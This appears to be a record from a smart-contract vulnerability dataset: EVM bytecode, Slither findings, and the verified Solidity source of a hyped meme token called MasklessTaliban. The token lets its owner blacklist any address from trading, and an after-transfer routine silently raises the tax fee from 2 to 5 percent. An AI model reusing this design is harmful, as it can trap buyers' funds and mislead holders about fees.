b92915050565b60015481565b60035481565b60006020528060005260406000206000915090505481565b6000806000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eb5a662e306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050604080518083038186803b158015610ba057600080fd5b505afa158015610bb4573d6000803e3d6000fd5b505050506040513d6040811015610bca57600080fd5b81019080805190602001909291908051906020019092919050505091509150610bf38282611b8a565b9250505090565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c91576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806128466036913960400191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f700010281604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b610d5a600654610d4d42600a5461126b565b10156000600a5414612276565b610daf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806127a26024913960400191505060405180910390fd5b6000610dbf600a54600654611ba4565b905042600a81905550600080600090505b600d80549050811015610f0657610ef782600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fabde80c600d8581548110610e2c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610eb757600080fd5b505afa158015610ecb573d6000803e3d6000fd5b505050506040513d6020811015610ee157600080fd5b8101908080519060200190929190505050611339565b91508080600101915050610dd0565b506000610fb5600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638543d5e06040518163ffffffff1660e01b815260040160206040518083038186803b158015610f7457600080fd5b505afa158015610f88573d6000803e3d6000fd5b505050506040513d6020811015610f9e57600080fd5b81019080805190602001909291905050508361126b565b905061106381600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631d2a783d6040518163ffffffff1660e01b815260040160206040518083038186803b15801561102357600080fd5b505afa158015611037573d6000803e3d6000fd5b505050506040513d602081101561104d57600080fd5b810190808051906020019092919050505061126b565b9050600061107d6064838161107457fe5b04600854610a44565b90506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633c7999576040518163ffffffff1660e01b815260040160206040518083038186803b1580156110e957600080fd5b505afa1580156110fd573d6000803e3d6000fd5b505050506040513d602081101561111357600080fd5b81019080805190602001909291905050509050600954821115611136578161113a565b6009545b91506000821461114a578161116c565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff5b915080821061117b578161117d565b805b9150600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fe4f5890836040518263ffffffff1660e01b815260040180807f6f6e41756374696f6e53797374656d436f696e4c696d69740000000000000000815250602001828152602001915050600060405180830381600087803b15801561121c57600080fd5b505af1158015611230573d6000803e3d6000fd5b5050505061123e8686612283565b505050505050565b6000670de0b6b3a764000061125b8484610a44565b8161126257fe5b04905092915050565b60008183039050828111156112e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f75696e742d75696e742d7375622d756e646572666c6f7700000000000000000081525060200191505060405180910390fd5b92915050565b60045481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611332826b033b2e3c9fd0803ce8000000610a44565b9050919050565b60008183019050828110156113b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f75696e742d75696e742d6164642d6f766572666c6f770000000000000000000081525060200191505060405180910390fd5b92915050565b6b033b2e3c9fd0803ce800000081565b60065481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461148f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806128466036913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611515576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806127c66024913960400191505060405180910390fd5b7f747265617375727900000000000000000000000000000000000000000000000082141561168957600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1663a7e944556040518163ffffffff1660e01b815260040160206040518083038186803b15801561159b57600080fd5b505afa1580156115af573d6000803e3d6000fd5b505050506040513d60208110156115c557600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff161415611643576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806128166030913960400191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611749565b7f6c69717569646174696f6e456e67696e650000000000000000000000000000008214156116f75780600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611748565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806126db6034913960400191505060405180910390fd5b5b7fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d18282604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b670de0b6b3a764000081565b61180f60075461180242600a5461126b565b10156000600a5411612630565b611864576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806127a26024913960400191505060405180910390fd5b42600a81905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fe4f58907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518263ffffffff1660e01b815260040180807f6f6e41756374696f6e53797374656d436f696e4c696d69740000000000000000815250602001828152602001915050600060405180830381600087803b15801561192857600080fd5b505af115801561193c573d6000803e3d6000fd5b50505050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146119d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806128466036913960400191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b90381604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600081611a9c846b033b2e3c9fd0803ce8000000610a44565b81611aa357fe5b04905092915050565b60075481565b60095481565b600a5481565b60085481565b60008360008114611b6a576002840660008114611ae357859250611ae7565b8392505b50600283046002850494505b8415611b64578586028687820414611b0a57600080fd5b81810181811015611b1a57600080fd5b85810497506002870615611b57578785028589820414158915151615611b3f57600080fd5b83810181811015611b4f57600080fd5b878104965050505b5050600285049450611af3565b50611b82565b8360008114611b7c5760009250611b80565b8392505b505b509392505050565b600081831115611b9a5781611b9c565b825b905092915050565b6000806000600154148015611bbb57506000600254145b9050611bca4285101582612276565b15611bd9576000915050611cb0565b6000808514611bf157611bec428661126b565b611bf3565b835b9050611c06848210600060015414612276565b15611c1657600092505050611cb0565b6000611c22828661126b565b90506000611c4e6002546b033b2e3c9fd0803ce8000000611c41610afd565b81611c4857fe5b04611b8a565b9050600354821115611c665780945050505050611cb0565b600060015490506000831115611c9b57611c98611c92600454856b033b2e3c9fd0803ce8000000611ac4565b82610a04565b90505b81811115611ca7578190505b80955050505050505b92915050565b600081611ccb84670de0b6b3a7640000610a44565b81611cd257fe5b04905092915050565b600d8181548110611ce857fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611dae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806128466036913960400191505060405180910390fd5b7f6261736555706461746543616c6c657252657761726400000000000000000000821415611e3d57600254811115611e31576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d81526020018061270f602d913960400191505060405180910390fd5b80600181905550612233565b7f6d617855706461746543616c6c65725265776172640000000000000000000000821415611ecc57600154811015611ec0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612775602d913960400191505060405180910390fd5b80600281905550612232565b7f7065725365636f6e6443616c6c6572526577617264496e637265617365000000821415611f65576b033b2e3c9fd0803ce8000000811015611f59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806126a96032913960400191505060405180910390fd5b80600481905550612231565b7f6d6178526577617264496e63726561736544656c617900000000000000000000821415611ff25760008111611fe6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603581526020018061263e6035913960400191505060405180910390fd5b80600381905550612230565b7f75706461746544656c617900000000000000000000000000000000000000000082141561207f5760008111612073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806127ea602c913960400191505060405180910390fd5b8060068190555061222f565b7f6261636b757055706461746544656c617900000000000000000000000000000082141561210d576006548111612101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806126736036913960400191505060405180910390fd5b8060078190555061222e565b7f676c6f62616c4465627450657263656e746167650000000000000000000000008214156121a757612146600082116064831115612630565b61219b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603981526020018061273c6039913960400191505060405180910390fd5b8060088190555061222d565b7f6d696e41756374696f6e4c696d697400000000000000000000000000000000008214156121db578060098190555061222c565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806126db6034913960400191505060405180910390fd5b5b5b5b5b5b5b5b7fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a8282604051808381526020018281526020019250505060405180910390a15050565b6000818317905092915050565b8173ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156122de5761262c565b61233c600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161460008314612276565b156123465761262c565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146123815782612383565b335b9050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663201add9b82600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a7e944556040518163ffffffff1660e01b815260040160206040518083038186803b15801561242c57600080fd5b505afa158015612440573d6000803e3d6000fd5b505050506040513d602081101561245657600080fd5b8101908080519060200190929190505050856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561250457600080fd5b505af1925050508015612515575060015b612629573d8060008114612545576040519150601f19603f3d011682016040523d82523d6000602084013e61254a565b606091505b507ff7bf1f7447ce563690edb2abe40636178ff64fc766b07bf3e171b16102794a5481838560405180806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019080838360005b838110156125e75780820151818401526020810190506125cc565b50505050905090810190601f1680156126145780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a15061262a565b5b505b5050565b600081831690509291505056fe436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d6d61782d696e6372656173652d64656c6179436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d6261636b75702d7570646174652d64656c6179436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d7265776172642d696e637265617365436f6c6c61746572616c41756374696f6e5468726f74746c65722f6d6f646966792d756e7265636f676e697a65642d706172616d436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d6d696e2d726577617264436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d676c6f62616c2d646562742d70657263656e74616765436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d6d61782d726577617264436f6c6c61746572616c41756374696f6e5468726f74746c65722f776169742d6d6f7265436f6c6c61746572616c41756374696f6e5468726f74746c65722f6e756c6c2d61646472436f6c6c61746572616c41756374696f6e5468726f74746c65722f6e756c6c2d7570646174652d64656c6179436f6c6c61746572616c41756374696f6e5468726f74746c65722f74726561737572792d636f696e2d6e6f742d736574496e6372656173696e6754726561737572795265696d62757273656d656e742f6163636f756e742d6e6f742d617574686f72697a6564a2646970667358221220c5c529c9358e947fa3d754447266c56bb41346f5b73447ee359ef7b5054ee0ba64736f6c63430006070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,541 |
0x28e18d0679264545577b58bde8066a6cde30d02d
|
/**
*Submitted for verification at Etherscan.io on 2021-08-21
*/
/*
FAIR LAUNCH, NO PRESALE, NO DEV TOKENS
https://www.youtube.com/watch?v=3rYSYZmWr80
JOIN TG:
https://t.me/masklesstaliban
MUSK TWEETED, WHAT ARE YOU WAITING FOR?
TALIBANNNNNNNNNNNNNNNNNNNNS ASSEMBLEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MasklessTaliban is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MasklessTaliban | t.me/masklesstaliban";
string private constant _symbol = "TALI";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 500000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a20565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ec1565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e91906129e4565b610590565b6040516101a09190612ea6565b60405180910390f35b3480156101b557600080fd5b506101be6105ae565b6040516101cb9190613063565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f69190612995565b6105bf565b6040516102089190612ea6565b60405180910390f35b34801561021d57600080fd5b50610226610698565b005b34801561023457600080fd5b5061023d610bf5565b60405161024a91906130d8565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a61565b610bfe565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612907565b610cb0565b005b3480156102b157600080fd5b506102ba610da0565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612907565b610e12565b6040516102f09190613063565b60405180910390f35b34801561030557600080fd5b5061030e610e63565b005b34801561031c57600080fd5b50610325610fb6565b6040516103329190612dd8565b60405180910390f35b34801561034757600080fd5b50610350610fdf565b60405161035d9190612ec1565b60405180910390f35b34801561037257600080fd5b5061038d600480360381019061038891906129e4565b61101c565b60405161039a9190612ea6565b60405180910390f35b3480156103af57600080fd5b506103b861103a565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ab3565b6110b4565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612959565b6111fd565b6040516104179190613063565b60405180910390f35b610428611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fc3565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613379565b9150506104b8565b5050565b606060405180606001604052806026815260200161379c60269139905090565b60006105a461059d611284565b848461128c565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105cc848484611457565b61068d846105d8611284565b610688856040518060600160405280602881526020016137c260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061063e611284565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c169092919063ffffffff16565b61128c565b600190509392505050565b6106a0611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072490612fc3565b60405180910390fd5b600f60149054906101000a900460ff161561077d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077490612f03565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061080d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085357600080fd5b505afa158015610867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088b9190612930565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ed57600080fd5b505afa158015610901573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109259190612930565b6040518363ffffffff1660e01b8152600401610942929190612df3565b602060405180830381600087803b15801561095c57600080fd5b505af1158015610970573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109949190612930565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167